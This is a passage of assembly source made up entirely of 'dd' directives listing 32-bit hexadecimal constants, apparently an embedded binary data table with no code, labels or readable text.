28A7CC7Dh, 0D5F2794Bh, 0C8F4B37Eh dd 0EA4A741Fh, 44CA1341h, 8FC016F9h, 0A2593DA4h, 2FE18380h dd 0A1E85D12h, 0F43F2A18h, 0CB7C19h, 486362ADh, 0B975927Dh dd 0F0808C03h, 0D3264DFAh, 45E4805Ch, 19CE0054h, 0A73AEAA5h dd 870E9DF0h, 4F851265h, 0D42F01F5h, 6420D1C6h, 0D9CE03EFh dd 23953E8Bh, 711EC3CDh, 0BC040A03h, 0A8B4206Eh, 9CF9FB6h dd 444126C8h, 5E91D0E0h, 0DBD89700h, 27244BA7h, 0B39E096Fh dd 6401FD68h, 0BEA26F0h, 0D45D943Ch, 99CF5507h, 0F7DCE21Fh dd 9864A880h, 58C0619Bh, 459E2241h, 2D60177Bh, 4410887Eh dd 102DD278h, 0AEDC87C7h, 9B4C80F0h, 0FF0C1F33h, 0D348C0CDh dd 17A7B321h, 0DAA19113h, 0B928D807h, 0D845D2A2h, 153A0094h dd 2235A8E2h, 0BA0006CEh, 98FAD4Ah, 0AFC6D3h, 0E515DD46h dd 43133194h, 0C8C4441Fh, 98AA8079h, 4967CD1Ah, 0F23D1E5Bh dd 230580A2h, 0AB17E6F4h, 0FD39767Ch, 0BE6200D4h, 14CC0B0Ah dd 39090085h, 0D5B1939Dh, 0BA005925h, 198E43C8h, 1CB075h dd 0DAFC2966h, 5F8AF9A7h, 53AF6F05h, 0D800D0EEh, 64B1F6C7h dd 0FABE0E16h, 49205FACh, 942CADFBh, 0DCF84600h, 0A7778DDBh dd 884E5DA1h, 69660800h, 0B3B0BF36h, 0FC738000h, 8B7646FFh dd 0C8D8A840h, 60C14AFEh, 0BFA2494Ch, 0D83FB22Eh, 6954C307h dd 719974E0h, 47B60967h, 17019D3Bh, 8EF6EDA8h, 0EAC1DD48h dd 1500D1F3h, 5133CBCAh, 327D3C05h, 29FF9E80h, 0F7A00B1Bh dd 0F6E6B300h, 936F488Bh, 0E05B0058h, 933F813h, 320BC7B4h dd 159D5A5h, 799729F7h, 5E7EC640h, 1F90A9h, 0D710862Fh dd 0DF7D9502h, 0CB0F5003h, 0E8FF1280h, 7F1C713h, 0EA1FDE79h dd 560BB077h, 8800CDDDh, 3CCFF5ACh, 7AAE06h, 0DCD5F374h dd 3B9A5637h, 0A9DE7E00h, 8B4D2D8Eh, 97590B35h, 4600D570h dd 3725961Dh, 0D8FDB978h, 0DA00E35Ch, 242CA55Dh, 79F3FFh dd 0C53ECC72h, 0D867CBDh, 4BD53C00h, 934ADE3Fh, 972A03FAh dd 0E175AFE0h, 0EA6164B2h, 6EA870F1h, 780B51F2h, 0C241A9F6h dd 4EB80004h, 0B4922DFEh, 0B1A1E4Ch, 4C853881h, 0DCC84FD4h dd 28B0BC80h, 0C032A247h, 604848DAh, 277C34h, 0E7030DAEh dd 0FE33E6EDh, 0BBE5F107h, 0D804B407h, 0FA807CC0h, 0C58718AFh dd 536010D7h, 2E924707h, 86507C3Eh, 8F63C0h, 0D72CD474h dd 0FB0D5E6Bh, 510ED89Ch, 94B22102h, 72A34C4h, 63E8B4B0h dd 0B900F890h, 0C4528F93h, 13361862h, 8242431Bh, 0D8E0F0F4h dd 6318016Eh, 0E531FD94h, 7ED4E5BCh, 0C0485D93h, 2F1ED00Eh dd 0E4FFCB40h, 7AE00A96h, 102AE625h, 8003DCCCh, 0E3F0465Ch dd 0AD61F504h, 98A81432h, 7169BC00h, 37C314Fh, 0CEF9B41Fh dd 634DFD00h, 978818h, 0D0EFA07Ah, 3B08429Bh, 19055030h dd 0EBDC8Dh, 0C5C9F6E2h, 747EEFE5h, 0AAE4FB1Fh, 6F916C0h dd 1CE82EDh, 0A3BC6352h, 60313E8Ch, 9701AA97h, 99D07C43h dd 54300413h, 37BB00EFh, 0B7D4EBEEh, 7D02896Ch, 104A9E53h dd 90A341D8h, 8078163Eh, 7A42E4D4h, 0C4F1960Eh, 0C98EC02Dh dd 7934710h, 50611FEh, 9C4B8131h, 0B49BE4E3h, 424F9D00h dd 412DDC96h, 36EE00A1h, 37B1F485h, 0C000B5D3h, 1F6D58DEh dd 0F60CAB62h, 0FD0E2E2Fh, 659D00BCh, 9FAFE535h, 5519DA0Eh dd 71361A1h, 70600D03h, 0D253003Ah, 4A80E720h, 0ED0EA214h dd 60078337h, 0AE504F9Bh, 0F8090023h, 57CCECB3h, 30176684h dd 0B082A3D7h, 9E5D400Dh, 9DF79CEh, 935FAB35h, 0A840AD0Eh dd 0ACE23262h, 0D0553900h, 773D3585h, 114139C1h, 29E93480h dd 0C071FE9Ch, 24E65800h, 13F74509h, 0F87801E3h, 0DDC80C83h dd 1A298792h, 2034B69h, 60DEA8E6h, 63F7002Eh, 0F842E2ACh dd 0DF000115h, 9673D62Ah, 6F9483h, 577290A9h, 51117791h dd 45FF4A14h, 6A21009Eh, 8EB60124h, 856C03CBh, 0F505BA8Dh dd 5CDE89A8h, 3F4480Fh, 0A0538542h, 569E9EC0h, 9FC0019h dd 59E685EAh, 892779C0h, 981C63EFh, 3751483h, 0F12CD3C3h dd 17B0D01Dh, 0D005BA9h, 0EEDF2CEh, 2EAACCh, 0DBFA7529h dd 0FDC2B227h, 12076800h, 226B5FAEh, 728B0E32h, 0DB01955Bh dd 206776E5h, 7BF219BFh, 4D3D2D00h, 1C3B9E8Fh, 8E7F7Eh dd 0FAF8EB08h, 5544C074h, 0B6CBAE09h, 0E7204095h, 6A770018h dd 71478C68h, 0CC2C1D53h, 0AA0BCBB8h, 5CFF0039h, 3BD0A52Bh dd 1A80B60Ah, 1DFD01BFh, 2EE004BCh, 979DD703h, 0C8CA64A6h dd 0E9CCD35h, 0AEBF174Dh, 0B67F3380h, 0C9A532Eh, 1101DB78h dd 0CFE6C914h, 87E0FBB0h, 3FE1E2h, 385388C4h, 7D00C495h dd 0CB476F4Ch, 10A5EFAh, 1BE73032h, 80912CFEh, 0AE4D1911h dd 2DA337BDh, 3482E82Ah, 3C56E4A9h, 4C1A4B00h, 69AB0CB1h dd 950250B7h, 2CD67884h, 31C68E3Eh, 7DC8F2Ch, 88B0B921h dd 713A6Dh, 3532A0B6h, 31D4BEFCh, 89DC0395h, 0D66CF04Fh dd 9C410F37h, 6FA0815Bh, 103660E3h, 21EE3401h, 98FDD135h dd 39C49FC8h, 7F2ED7Bh, 6769AE52h, 88E934E8h, 0B5E8B734h dd 0A4D5A207h, 0D7204071h, 3AD6FE09h, 0ED8DF1E1h, 0FD74179Bh dd 3839DD82h, 0BD380280h, 7C1D3B9Fh, 789F54h, 0CDE269F4h dd 32729D89h, 0E952FB14h, 0DE95008Ch, 0A4E49B2Eh, 12DE678h dd 7B32C647h, 0D87D1114h, 0C50059C3h, 1B1DF945h, 666DE8h dd 0B3BB34D6h, 0FD057E8Ch, 0C401F8B4h, 4A9259ADh, 11A2C60h dd 0D9A0F97Ch, 600DB1F0h, 5A007863h, 2C39862h, 2C12E329h dd 14ECA4C1h, 3874C4B5h, 3F12C660h, 0F5C00BCBh, 0F280CC8Eh dd 0B9A91118h, 73BAA501h, 310E8D98h, 0C512EC41h, 8C09443Ch dd 9822DEDBh, 0C05AF92Ch, 0BFBCAB00h, 5381A2C2h, 0C5174A65h dd 0C5B08258h, 6060ABE1h, 2700FAA2h, 4D3AD7A7h, 16C33035h dd 4001F3DFh, 282B9E38h, 0CD01FBBAh, 0AAFA544h, 0B8BAF79Dh dd 0B26B1E00h, 0B01F6867h, 892FA400h, 88D70A1Ah, 0FDCAC00Fh dd 22681E0Dh, 67B0FB01h, 0A7B3FE27h, 7D861D0h, 0DF5FFA2Ah dd 47AAF02Bh, 0A6EA01A8h, 3D8B2D0Fh, 1702C080h, 255DBAFh dd 771BCF98h, 7840BEE0h, 0CD0009E9h, 1CD64D12h, 0FB3D01h dd 0C9A36D07h, 0A95233A7h, 2F00817Dh, 9F9689A4h, 27AE8322h dd 706092A6h, 4807A75Bh, 9711AD5Fh, 2B05C0BFh, 23B545Eh dd 4C6ACDECh, 80E03657h, 0BF00DE93h, 58852A20h, 7F75388Fh dd 0EB8701D3h, 6E361C77h, 812DEC83h, 0EC08000h, 493AD9A5h dd 169AECC3h, 41E1F5h, 48FC1D00h, 0F4F877C2h, 33DF0600h dd 58E4ED66h, 4E821CB2h, 0FB48027h, 7B228EADh, 0BFB73000h dd 5F5BDA8h, 146F63Ch, 0F7768272h, 0E045907Ch, 56F28DFDh dd 0C71C6A00h, 191FDB4Eh dd 0F6FF1EB5h, 0E54000C1h, 81ABB79Ah, 0B853CC00h, 0C99EB215h dd 55CF0005h, 0EAFE4285h, 2D014A38h, 530111D9h, 2C719A25h dd 1D23AD0h, 4CE28C51h, 20E7AEABh, 0D3F839A4h, 1883F0Eh dd 0A2D1651Ch, 0B27078E0h, 0FD202420h, 0F29C18F1h, 5798128Bh dd 575ED801h, 0A1A922E8h, 67B8012Fh, 6035FD51h, 0BE1713EFh dd 9C079D20h, 0D5D0046Bh, 0BABAFCE5h, 4C3D0294h, 9510C4A3h dd 0DE0594D0h, 4BE6241Ah, 0B3F4A100h, 772C1E3h, 99C018C2h dd 0FD9C001Ch, 0D001927h, 12F1F7B2h, 0F0F5C3h, 15738E5Bh dd 1C45C7ECh, 0E9CE2401h, 8F31A754h, 2900BC3Ch, 0B10A9CA0h dd 0A473EFDAh, 2C7A9A00h, 33A85D7Bh, 38CC0041h, 105EC07Ch dd 3F131BB6h, 0F400BAD3h, 0AECFE5ECh, 0C8400F9h, 956BE319h dd 8E8813F0h, 533E0015h, 2B33883Ch, 7702D7F5h, 9363DF0Bh dd 51850F7h, 1E14B37Fh, 0D2B8A853h, 0EA9E0600h, 7BD7F6Eh dd 64AC403h, 1CE9D04Eh, 0C1BE62ECh, 64726800h, 8C982Fh dd 0BA8E25EBh, 0BBB72921h, 70650300h, 0CEE55554h, 0C2FA0FADh dd 0A9400837h, 0F2516452h, 9C00C8D2h, 96B40402h, 17F9339Eh dd 6DE99FC1h, 256EC8B8h, 78263506h, 0B911A8h, 43EC7C8Ch dd 78B33E1h, 0D70B1700h, 55CADD3Dh, 0B7ED1738h, 0FFB8A03Fh dd 248BD31Eh, 431871B7h, 6AC84AA5h, 0EF02FDEEh, 0C8B38078h dd 508487Dh, 7B641854h, 0AD0C1135h, 40A04051h, 0FECFED94h dd 0EB916260h, 0B78C811Fh, 1C1B8880h, 2600A38Dh, 65FF9C0Eh dd 0C063AE99h, 39EB7748h, 385EDA4Ah, 2B1C6C00h, 357C7h dd 10B1F13Ch, 3BDA3EC4h, 194A4700h, 55E8AE49h, 0EB8502B5h dd 3A89BA38h, 804390C1h, 2CB151F0h, 74C8CBh, 20E3356Bh dd 0A10DB259h, 0F1661B00h, 34E3982h, 74B00011h, 71BBDA8Bh dd 3224D872h, 263B9351h, 0C01869D9h, 9EE81E1h, 9678BF3Ah dd 1C07A0F8h, 119B9243h, 733FA941h, 1CE9F020h, 0C72A4B71h dd 0EB1006A5h, 181D1580h, 9006B82h, 9EBAB904h, 7EDE6D6h dd 271E5ECAh, 0ECE04BDAh, 0B2014C84h, 875A5817h, 0D6E81FEDh dd 52D8003Eh, 0DF9B0851h, 809EC98Bh, 0B96CA000h, 0EDD8278h dd 52BA06D1h, 42A0218Eh, 0AC720CF6h, 46768C1Dh, 0D448C0C0h dd 9247989h, 92BA3955h, 31337D80h, 0AF0F0BB9h, 0E1C48DA8h dd 1F1DD406h, 90829C4h, 8E71536Ch, 4A46B480h, 0B0004B1Bh dd 8FCCEAE6h, 0DD2D44h, 0EC2A549h, 3E92A393h, 0E4B6B824h dd 853AC000h, 0A77E10h, 8D96C313h, 39BD84D8h, 2959D79h dd 41F13DADh, 24E4C5F4h, 0B2E40718h, 5CABFF12h, 0B8036A29h dd 21A4237Bh, 7262C02Ch, 407E89h, 0F9E37A9Bh, 0E2B2C3F3h dd 9360B405h, 0A8021E0Eh, 4827055Ah, 2FA9A0h, 0F3187640h dd 0C4A7E761h, 63B65114h, 283E00D8h, 72080DABh, 0E5C04A5h dd 80199BE1h, 36F8310h, 87D1391Eh, 42872E5Eh, 0FFE77195h dd 4964A162h, 20389D5Ch, 0B0288Eh, 84349FABh, 34AE97Fh dd 0AA1ED359h, 0F3983DE7h, 0FE003E9Ch, 968B5BBEh, 236A80h dd 72900BBFh, 0E2E4427h, 0FB055900h, 7B10831Fh, 0CB4003F5h dd 15CC60C4h, 80C8AAC3h, 0E100170Eh, 218971D1h, 3A113303h dd 1400066Fh, 0EEE6AE01h, 6E001F6Dh, 37679B9Eh, 7E483E7h dd 0EF1C22F2h, 0ED0AD0BDh, 7700F7FAh, 0E6716859h, 3FC7B732h dd 0F520D7h, 359D1E95h, 9FFBBCF9h, 0B6C67Eh, 9A078877h dd 2666E250h, 8430FA96h, 0D047927Dh, 0B41DCF44h, 5A49E800h dd 0C7B8D699h, 0A443002Ch, 219E8C18h, 2B0944AFh, 0E0BD1F2Eh dd 1F1FD1Ch, 3AD0D4E3h, 2463469Bh, 909538C0h, 80B260D0h dd 29002DDFh, 1DE38F49h, 0DDB1A5h, 0AFDA9647h, 71388C41h dd 13991E03h, 0A30F72F9h, 7CC0B5DFh, 9D10DBh, 5D3EE3CFh dd 0E5784F6Eh, 0E619B002h, 44A7C3AEh, 2A0B00A8h, 0B275342Bh dd 0F74C047Dh, 6E800010h, 0ACCA45F9h, 28620718h, 8982AAF5h dd 0A94C00A0h, 0FB04C9C6h, 958DAB1Ah, 8C1754E1h, 907969A0h dd 0F09EE2h, 3642B162h, 1800D688h, 0E6EBD504h, 23B8451h dd 16A39AEDh, 67E11C0Eh, 80B3F72h, 258407E9h, 9BB6B500h dd 0F315023Dh, 5218597h, 0EA00B0CCh, 0CCDD6F07h, 37DD2C7h dd 8E8666DFh, 7AE13764h, 711ED144h, 3E2C3133h, 6562801h dd 0B1892E79h, 6A0305B6h, 92BA1911h, 0E61AB468h, 8C01C926h dd 29F86500h, 66EC01Bh, 4F1C3610h, 0F8B0A86Ch, 0B2BBE503h dd 50B181FDh, 1C9D14A6h, 40C7B6D1h, 0E85E41A5h, 5CA43AB2h dd 1C109300h, 3B0156BEh, 284428A8h, 0AEB800A4h, 3D98A7BAh dd 63000BE6h, 7EF10396h, 5F4ECAh, 17F57F50h, 2243B765h dd 85895D65h, 59004CB8h, 4C763F5Ah, 0FB006A9Fh, 658CE9EFh dd 17DB570Ah, 700F87BCh, 0AC711950h, 4111610Ch, 0F02DC1A5h dd 0A790294h, 0CA957490h, 0B5501055h, 4DD60B9Ah, 0B0380DA5h dd 68926006h, 4D9CF952h, 7949801Ch, 0E61545C5h, 58AAE961h dd 0FE710738h, 40B1CF4Ah, 897441B7h, 0C1D03E54h, 54F02Dh dd 0F911DDCCh, 48570046h, 5528778h, 85029FEFh, 9A203B3Ah dd 0EFF244Eh, 0D14D0067h, 29A13DE1h, 348E956h, 418C7744h dd 1700697Bh, 0F8907328h, 187FCCDCh, 9060130Ah, 4A00A87Bh dd 1C94CA1Ah, 0CB1EBFDAh, 0E4B88568h, 4D03BD81h, 0EFFC32B8h dd 0B104A9E2h, 0A9BD8F3h, 0D667002Dh, 87531934h, 611C7869h dd 80FF57F6h, 1CE68A2h, 0F7CC16h, 54537A99h, 1FBC2E91h dd 0DBA83609h, 885847h, 0B099AF51h, 7B8F7116h, 17785207h dd 906147E3h, 64309845h, 5BF73DC8h, 0E4303587h, 5E4E0018h dd 0CA008FB7h, 6D139CE1h, 495060h, 1198267h, 0C2FFC1B1h dd 68D23301h, 41B3164Fh, 0D660A852h, 0DB946044h, 0DA00A3DEh dd 762BDCC6h, 0E811E269h, 36CB0B1h, 4A6532FEh, 410FF3C4h dd 40D0E529h, 0B30333D7h, 3931094Fh, 0B820B294h, 1EEA053Ah dd 0B8863413h, 55068000h, 175ED3E6h, 7A7F22Bh, 0E176C914h dd 0C00B33FAh, 37035CFh, 0D6C6B600h, 5363711Fh, 0B015009Bh dd 0A9F16D59h, 4E06CFC8h, 0D21B5078h, 0C2420020h, 4C41749Bh dd 0C3F6B55Ch, 93E79C05h, 78813C85h, 5DEC870Dh, 0F080B733h dd 38B7EDE9h, 91823D00h, 5628C1Fh, 0D4081C39h, 9582BAADh dd 7B22DF2Dh, 0C7843874h, 74403C06h, 0C9C439EEh, 0EA980D03h dd 0F8A813E1h, 0C072D06Ch, 0BF8C5828h, 0DA5F2875h, 1FFA671Fh dd 481EF6EDh, 0A42B490Ah, 38BA6700h, 0E281B7BFh, 1223E008h dd 0B04E55CFh, 0A0009908h, 0B117E962h, 0BA6327h, 71E6F26h dd 51D3BC73h, 8806BD00h, 0D0CE099Dh, 0EE4A262Ch, 85D2008Eh dd 6CCDDD1Dh, 0F2611900h, 0CCD6C5C2h, 0BE63090Ch, 34688ADCh dd 100E0E6h, 12E3E8D8h, 1E7BC9BCh, 41AE48C2h, 3181B151h dd 9E6920FBh, 7D26200h, 1CAF77F2h, 0E69A01BDh, 84957B6Ah dd 0C465DC2Eh, 4527CB0Ch, 7C86035h, 0B299AD74h, 0FFAF900Dh dd 8524AECAh, 308C2470h, 1606C8BBh, 3122EC08h, 9B449Ch dd 1519CBh, 4BAB92Eh, 8DEE6884h, 0C20BFD00h, 171B6D56h dd 0DBF4093Eh, 0EE02FCBFh, 40E2897Dh, 88F1EC8Bh, 7094F409h dd 682E0220h, 7813E4D5h, 0C03050E1h, 84B06734h, 0A08E642Ch dd 1B85925h, 507DCAEDh, 912C340Eh, 12F49913h, 0CEF2B858h dd 187600CDh, 0A7468FFAh, 0E4793DB8h, 816BD700h, 74B09F36h dd 0A10C03BEh, 0AD6E4404h, 3E2238D0h, 0BEE1AE26h, 9B16CA00h dd 53C87Dh, 5BB4EA3Bh dd 47EFAD8Eh, 5C9C8904h, 0C8ECF3DBh, 4992A51Eh, 70502E0Ah dd 8316F604h, 68E4BFC7h, 0C18E009Eh, 37B71A58h, 711D133Dh dd 7054F990h, 28961394h, 24437882h, 0B04E3FBh, 30526EE8h dd 825114h, 4C844636h, 907AC389h, 4CAC752Ch, 0EE56FD80h dd 0EAF1701h, 6B7DDF93h, 30A050C9h, 0A51C51D8h, 4611B8B3h dd 4140FFCAh, 0A9C591h, 4D85D8E6h, 0B338FC6Fh, 1094B82Ch dd 0A580C062h, 1F76Fh, 9598B404h, 5EC715CBh, 0A7D30A02h dd 0F2AEC18Ch, 523C3DDCh, 40898880h, 73A367D8h, 9BED2304h dd 548035D9h, 27C97CB0h, 3C208278h, 0B808D1DDh, 135E4912h dd 0EA9B0440h, 0A73028F9h, 0D088256Ch, 0B0C5526Ch, 9B096BA8h dd 0C1FA1552h, 150DDBACh, 4B948EACh, 0CF95CC30h, 68980F6Ah dd 1AE3E218h, 0E0EC5003h, 0AF547668h, 0F4E737C8h, 0E53CEAD6h dd 0FD20F050h, 0F8AB501Eh, 0F0B8FE0Ah, 23405C9Dh, 6001A600h dd 686F5158h, 80A4E902h, 80ED3635h, 8B99F6F4h, 0ABE22555h dd 5F8D8C60h, 3D2EAA00h, 4D1BBAB5h, 5C4158B1h, 0B96D3903h dd 115B7B14h, 49D04C0h, 9ECF013Bh, 50B9F642h, 329B3002h dd 5CD6D12Ch, 0A535B208h, 457B48C0h, 25BCCD17h, 96A72440h dd 6F30FB74h, 401629F6h, 0FE2ED450h, 2755725Ch, 0DFC0CBB8h dd 1600A232h, 14AE7B11h, 54E03447h, 0FA19018h, 0E193E51Bh dd 610A96A0h, 0DFFA26DBh, 0FBB2450Bh, 0F5CB0094h, 380EF03h dd 0BD6150CCh, 6A08E23h, 0FA079F3Ah, 75387D5Dh, 7795DE40h dd 0E42D002Ch, 470E6274h, 19008364h, 9A1349CFh, 5D7A1h dd 0E5C76BD4h, 6D7E3979h, 5500387Ch, 0EFB2CE20h, 1FBA50h dd 0F929C95Ah, 0E71A73A8h, 0AD610D00h, 0DFFD6D4Eh, 0B6ED000Eh dd 0E4F03306h, 5C90CCF3h, 28524Ch, 0E857A09Fh, 0C3FCDCh dd 948A29BFh, 229B6FCEh, 0E7231A00h, 0D0A001DFh, 708E9FAEh dd 72092588h, 0B0F865h, 0B3E3B2Ch, 598C89CEh, 0D7D49B00h dd 201C4BA3h, 0E1020123h, 2977C4F3h, 40C02BAEh, 40E5C64h dd 5AA818C0h, 24C8A887h, 23030057h, 0BF9C533Fh, 549F65F0h dd 0B90700D1h, 0B7521EB4h, 52EDFFEAh, 5D3CDCh, 708E09D0h dd 0A61200C2h, 0E06D0BA1h, 69026653h, 4EA27C77h, 0FE4A087h dd 2D282589h, 9CE0B719h, 43885398h, 5AF638C7h, 0E304705Ch dd 0F2847917h, 42E4024Ch, 408FE08Eh, 0E8D384h, 71954116h dd 0A9686D1Eh, 97436200h, 0C613FD7Ah, 3BCC02DDh, 29AD60B9h dd 74501C78h, 0D71EE328h, 2380BE02h, 3EEE908h, 7C420036h dd 0B215F446h, 1E000A97h, 206EE398h, 166ABA05h, 0FB8FE9Ah dd 0ED008650h, 479171D1h, 800A793Eh, 3F2E2D5h, 0E3424Dh dd 7FA1B598h, 955D4ECAh, 6D3BDA00h, 2D17DBE6h, 82550061h dd 0A169D63Eh, 0EB002171h, 2477C576h, 59E810h, 0F6C05A2Bh dd 0DA49C2A0h, 6309E307h, 0AFA0A14Ah, 3AD93Dh, 0C85E9F44h dd 0B1E66F4Ch, 0E9286100h, 0D9B8A4B3h, 84F40E47h, 5B206079h dd 8B3026C5h, 0AA404600h, 6191C635h, 3C0BEC0h, 19D9F6A4h dd 9DEF54F8h, 2F22900h, 0ADFF4DB9h, 0E8803F85h, 719FFE80h dd 0F84006A0h, 89DA0A0Eh, 1BE16454h, 67B65880h, 0CB9031h dd 0C5D6DB47h, 78168B40h, 6319AD00h, 3C9CA82Ch, 5B3D0084h dd 0E3449305h, 0F10C8D5Dh, 2AFC766Bh, 0BB9600E0h, 367E057Bh dd 0DA9881C5h, 37E04095h, 8F0800EAh, 0D851B187h, 9F7E53CFh dd 70E8F0A3h, 3200D069h, 0F781E8B9h, 0F68A92h, 43D74E3Fh dd 8D21048Ch, 6DB7D600h, 0FCA19DD9h, 0D0F35C1Ah, 0ED55A205h dd 918ECE3h, 20145F4Ah, 31EB9E74h, 52E800E7h, 8B91FCDh dd 0CE006D03h, 777BA841h, 2516DDh, 0B765B4E5h, 59BA020h dd 0EF91670Eh, 0B05442C6h, 0A0D86B13h, 90DADDFh, 0F6E6DA01h dd 0FAD62300h, 0BF072F45h, 0C84F9302h, 1F025F6h, 78072AFh dd 0F4C939FFh, 0B5DB48h, 0E962A878h, 0AA5804E0h, 0BFF96031h dd 0B76E4000h, 0BB4ED6h, 5998C04h, 51E5404Fh, 0C00C154Eh dd 2C1AF0F2h, 584464CEh, 58046E7Bh, 212F8338h, 1A9ACB0h dd 9788D823h, 3060135Ch, 0D40CEA66h, 0B952F8D3h, 8F16115Ah dd 8E0B3BA5h, 7E5B62DDh, 7FA4AC40h, 0F1FA73h, 3D44BE4Ch dd 0BC8D06FCh, 80CB553Ch, 7A13CA5Eh, 396117ABh, 0AAADF530h dd 7571F840h, 0D4EED02Ah, 0C1297612h, 59D3E430h, 0F67200A0h dd 0A183CA05h, 29F06847h, 0DD8F400h, 9A309523h, 64150071h dd 693F7F5Fh, 7400C78Dh, 0ADF102BEh, 96254926h, 0F4907700h dd 6359E4C0h, 9000FD72h, 5EE05B87h, 2C7CACh, 31CAFBC8h dd 48DCB50Ch, 9C00E576h, 0A79F64B0h, 1D608DDh, 0FD4F2471h dd 30CBEF8Ah, 0AB1F7794h, 99871D0Ch, 0E5D0699Ch, 6F9D1C7h dd 0F59161EAh, 7D002830h, 0C07196B1h, 0CCC2D9h, 46122258h dd 344FA380h, 0E1B49117h, 74BD6403h, 209C803h, 6D790088h dd 0B74D5266h, 0AC008F18h, 6950203Eh, 0BF273514h, 0E50EFB40h dd 8D8A2Dh, 8C5622D4h, 859C00FFh, 14AB46EEh, 0C0728995h dd 17B6AD0Eh, 1F3D828Eh, 58D42Eh, 0D00D6F14h, 8095753Bh dd 0C40EF9E8h, 8084006Eh, 99AA9A4Bh, 0BB146A24h, 1B87027h dd 52CCD9BCh, 29831C67h, 20D4F3A4h, 6BBD5DD8h, 94611603h dd 0B8795EA9h, 0F34E686h, 0FD043945h, 0AED114C0h, 0CB25D6B1h dd 0B0ACD001h, 0A19E01BAh, 0EAE7806Eh, 3835F0B6h, 8E0054Ah dd 0C89F0150h, 8DAECECBh, 4C886C47h, 22700124h, 6CBA08B8h dd 0FA6054C5h, 46E316B3h, 0CFAC015Ch, 2894FFEBh, 401CCE34h dd 0D26766B1h, 0A416024Ch, 0A6EF39EBh, 58788057h, 176D224Ah dd 0FDD719h, 1CD1577Ch, 0C203ABA1h, 0B29011B4h, 54FAB0B8h dd 83130099h, 5FAD4BFDh, 0EE715BA6h, 3058FE06h, 1D20B36Dh dd 8067FFEFh, 779DEBEAh, 0D0255168h, 2F880B9h, 2B13CC2h dd 9304CAB3h, 0A0C01282h, 2A891063h, 0DD00E608h, 34126BDh dd 0E3D42DBh, 0F9F6A897h, 8ADA3C1h, 0F0006F43h, 0E55E8EC3h dd 984EF007h, 443503B4h, 0C087DBEEh, 480098AEh, 0B03D8CC2h dd 31F9BBCDh, 0D5700290h, 0B8802B83h, 8D433Eh, 784563FDh dd 0F5B213DEh, 1DD73702h, 7ED83955h, 0F7D60070h, 0FAD9DEE1h dd 723C93E6h, 271C0085h, 785ED8A5h, 108E4C5Dh, 0EFDF5800h dd 85E30A98h, 7F00B09Ah, 24528690h, 0D4A1CEh, 20EA535Ah dd 0BC95BBF0h, 8C7D2100h, 946F4DC4h, 43E6045Fh, 0A2AA451Dh dd 0A3A200FCh, 33519531h, 0B2D0FF30h, 0E6C516E4h, 55D0B019h dd 83048E1Eh, 2C901603h, 5550A20Eh, 94F55010h, 36F4880Eh dd 24C3A045h, 0ADBA35h, 21CF9722h, 46E87D98h, 8A08A4Ah dd 0C1164E5Dh, 0CC3FDD54h, 8E037EF5h, 0D94C43FAh, 20FCB045h dd 0C10D008Dh, 36AF53E6h, 0FD000E2Eh, 46C47B82h, 378C5CDh dd 758C1992h, 9C885A21h, 430EE213h, 640B7FC1h, 5C978BD6h dd 8F362C0h, 0A611D8BEh, 4800C176h, 0C9D4B096h, 1A5058h dd 0A658DC2h, 0D1DDD50Eh, 0BF64031Dh, 0A0480F6Dh, 53F6E730h dd 521F3AB9h, 76548100h, 4815AF7Ch, 249C3C01h, 801D4B34h dd 98F470h, 6419FBA0h, 6CA1784Fh, 0BF8B5101h, 0CACF670Bh dd 0D2E5CC71h, 0E355D840h, 91EF011Fh, 52A18946h, 2183D84Eh dd 16544B04h, 3CA0AE02h, 0E882B5AFh, 7C1956Dh, 18C32A7Eh dd 0A180F7EDh, 0CA513C1h, 0AD5DE1A0h, 2F5E5FF0h, 41E34880h dd 0FE1407F7h, 44D529DDh, 7D480E6h, 9C00ED81h, 5DB16686h dd 7F9D35h, 7A2FB510h dd 4988505h, 0A2514700h, 9C913148h, 0B01A4BB9h, 0AB141818h dd 84F42359h, 5100D796h, 0A057EB22h, 633E930h, 0EEE828Ah dd 39CD5837h, 811508C0h, 0DA02B501h, 222AA35Fh, 0B080551Ah dd 0B9C13AD0h, 80F8C095h, 4E151469h, 0D608F45Bh, 1202B537h dd 0C1C6C77Eh, 42C0EC8h, 7FE1BC0h, 0D0314C1h, 8F2E09A2h dd 90E9FBBAh, 0E87B87Eh, 0CD035383h, 0F60407Dh, 9C682730h dd 625C8DFEh, 38DA0088h, 2313AD2Dh, 0C7F3003Ah, 0A58E7A96h dd 5D266E57h, 3E0438BCh, 5081DFEh, 8D28FA04h, 0F15D8E0h dd 3CE27C49h, 308FB649h, 88C25FDFh, 700BC6Ch, 0D67DE19Bh dd 5E710985h, 0DCC0DCB7h, 264EBCFBh, 0E70E5007h, 6ACF7420h dd 48DD7Fh, 9DADBC35h, 0F314D3DAh, 0A7EE6Ch, 98A8CD18h dd 5A294511h, 54882760h, 28B016CFh, 0F160FBA0h, 2137E98h dd 9D415187h, 4C431F05h, 0A6279CF8h, 0A3EED90Ch, 3A2DF8D5h dd 7B01C560h, 0DB2A5FE6h, 8047F4Dh, 214A522Eh, 0EB42ABAh dd 73E8463Bh, 496A25h, 5DCDAEDAh, 50286F3Fh, 4B77B8C2h dd 34D79B07h, 5A0A024h, 11420Eh, 1B168BC1h, 65E195DAh dd 0F6B44800h, 0E281EE04h, 0EC494CEDh, 339A9C87h, 66E932A7h dd 5842E89Bh, 91E8A0B8h, 0C3162201h, 17670DFDh, 0B43DCh dd 65278793h, 5B0CF2A6h, 46A3E300h, 33F19E10h, 0A406077Fh dd 0B295DE51h, 14E6E61Ch, 0FA870DA0h, 15473600h, 0A2CD26A1h dd 0CC2097A5h, 7397A86Eh, 0BDF34300h, 2BE0454Ah, 42DF05AFh dd 0A83FFA88h, 0ED7772F6h, 0D59938h, 0E3F4BACAh, 0F6F9BF73h dd 12AE012Ah, 7AAA770Dh, 5AC4C0EEh, 0EFE43000h, 0EB3620EDh dd 8A5E00B1h, 0C8D2C273h, 6201B010h, 0F6FBC514h, 4F6BD655h dd 0B5E29564h, 98509A61h, 0F9C220Ah, 4C81D0C5h, 0F6412C9Bh dd 0CD7E1181h, 0F0B965DDh, 68001B3Ch, 6B1E51A2h, 251F50A5h dd 34D8A66Ch, 2245AA00h, 2146A96Eh, 0CA8506Dh, 74280C2Fh dd 45083FAFh, 0BE0C9F18h, 0CDA4291h, 0FA388841h, 70F40A11h dd 234AB6F8h, 644DA8E4h, 34031BDh, 12427Ch, 90DD7128h dd 9593FD4Bh, 4E3148h, 5711E64Eh, 9CC5C0Ch, 0A5A174F6h dd 5E830C5Eh, 413A4442h, 9F203048h, 5DD90029h, 5163991Bh dd 